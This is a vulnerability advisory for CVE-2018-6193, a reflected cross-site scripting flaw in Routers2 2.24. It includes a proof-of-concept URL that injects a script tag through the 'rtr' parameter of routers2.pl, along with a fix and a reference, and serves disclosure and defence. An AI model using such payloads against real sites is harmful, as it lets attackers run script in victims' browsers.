Routers2 2.24 Cross Site Scripting

2018.02.28

Credit: Lorenzo Di Fuccia

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-6193

CWE: CWE-79

CVSS Base Score: 2.6/10

Impact Subscore: 2.9/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: Routers2 2.24 - Reflected Cross-Site Scripting
# Date: 18-01-18
# Vendor Homepage: http://www.steveshipway.org/software/
# Software Link: https://github.com/sshipway/routers2
# Version: 2.24
# CVE: CVE-2018-6193
# Platform: Perl
# Category: webapps
# Exploit Author: Lorenzo Di Fuccia
# Contact: lorenzo.difuccia@gmail.com
# Website: https://github.com/lorenzodifuccia
1. Description
Routers2 is vulnerable to Reflected Cross-Site Scripting, affecting the 'rtr' GET parameter in a page=graph action to `cgi-bin/routers2.pl`.
2. Proof of Concept
http://router.com/cgi-bin/routers2.pl?rtr=--><script>alert("XSS")</script>&bars=Cami&xgtype=d&page=graph&xgstyle=l2&xmtype=routers
3. Solution
Update the program cloning the repo from GitHub or disable the 'paranoia' setting in the web section of the `routers2.conf`.
4. References
https://github.com/sshipway/routers2/issues/1

See this note in RAW Version

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Routers2 2.24 Cross Site Scripting

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